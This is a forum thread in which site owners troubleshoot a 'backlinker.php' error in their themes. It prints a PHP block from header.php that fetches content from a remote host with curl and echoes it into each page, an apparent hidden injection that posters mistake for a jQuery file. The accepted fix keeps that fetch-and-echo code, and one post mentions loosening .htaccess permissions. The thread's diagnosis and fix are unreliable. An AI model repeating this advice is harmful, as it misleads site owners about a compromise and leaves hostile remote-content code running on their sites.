Help with backlinker.php / 404 Error

I just had the same problem and this solved it:

Look in header.php inside your current theme and find this line:

https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js

This server is no longer able to provide the .js file linked to your theme. I found it mine at:

https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js

Get a hold of the .js file (or google the heck out of the .js file you need) and point to it on your server.

I am also having this same issue especially with my elegant themes.

You don’t have permission to access /backlinker.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com Port 80

Any help will be appreciated

Thanks

I also tried changing my htaccess file to 666 like this person suggested but it didn’t help:

Everyone who is having this issue seems to be running a site that has their jquery JavaScript hosted at freefilesblog.com. freefilesblog.com has locked the file for access, though. Most likely, you have this reference somewhere in the code of the header.php file for your theme:
“https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js”

jquery.com has the newest version of the jquery JavaScript for download, and several free hosted locations. I haven’t had a chance to test it, yet, but hopefully this will lead someone else to the solution if it doesn’t just work.

SOLUTION

I successfully got rid of the error by replacing the following non-functioning code in my header.php:

<?php
if(function_exists('curl_init'))
{
 $url = "https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
 $ch = curl_init();
 $timeout = 5;
 curl_setopt($ch,CURLOPT_URL,$url);
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 $data = curl_exec($ch);
 curl_close($ch);
 echo "$data";
}
?>

With this functioning call:

<script src="https://code.jquery.com/jquery-1.7.1.min.js" type="text/javascript"></script>
<?php
if(function_exists('curl_init'))
{
 $ch = curl_init();
 $timeout = 5;
 curl_setopt($ch,CURLOPT_URL,$url);
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 $data = curl_exec($ch);
 curl_close($ch);
 echo "$data";
}
?>

Same here, my website was working fine, suddenly today got this weird error.

eulamue! Halleluja! Tnx, it worked.

Hi,

I had the same issue – I installed a fresh copy of 3.3 on my local Mac and it freaked me out, namely because when I upgraded from 3.2.1 to 3.3 on another local instance I didn’t see it.

The fix eulamue posted fixed my problem. Just wanted to pass my findings so others will know it works.

@eulamue

I just tried your solution and it WORKED for me too! THANK YOU!!

@eulamue

?? YES!
thank you!

I hate to be the only idiot out there, but I checked my header.php file in both the themes I have downloaded and I cannot find that code at all. The problem is my site now takes forever to load and says waiting on freefilesblog.com so I know it is there somewhere just cannot find the code
My header file is pretty short about a page and a half or less. I am pretty sure I am not just missing it
Any ideas?

hereiamlive, the code may also reside in a plugin you use. If you can’t find it in the header of your theme, then check through your plugins.

…Forgot to mention, especially plugins you get from a source other than www.ads-software.com

thanks ‘eulamue’

It worked…by changing the code given by USER:eulamue worked for me…

Thanks mate…

Strange, but I cannot find that code into my header.php

Any other place??? Or what happened??
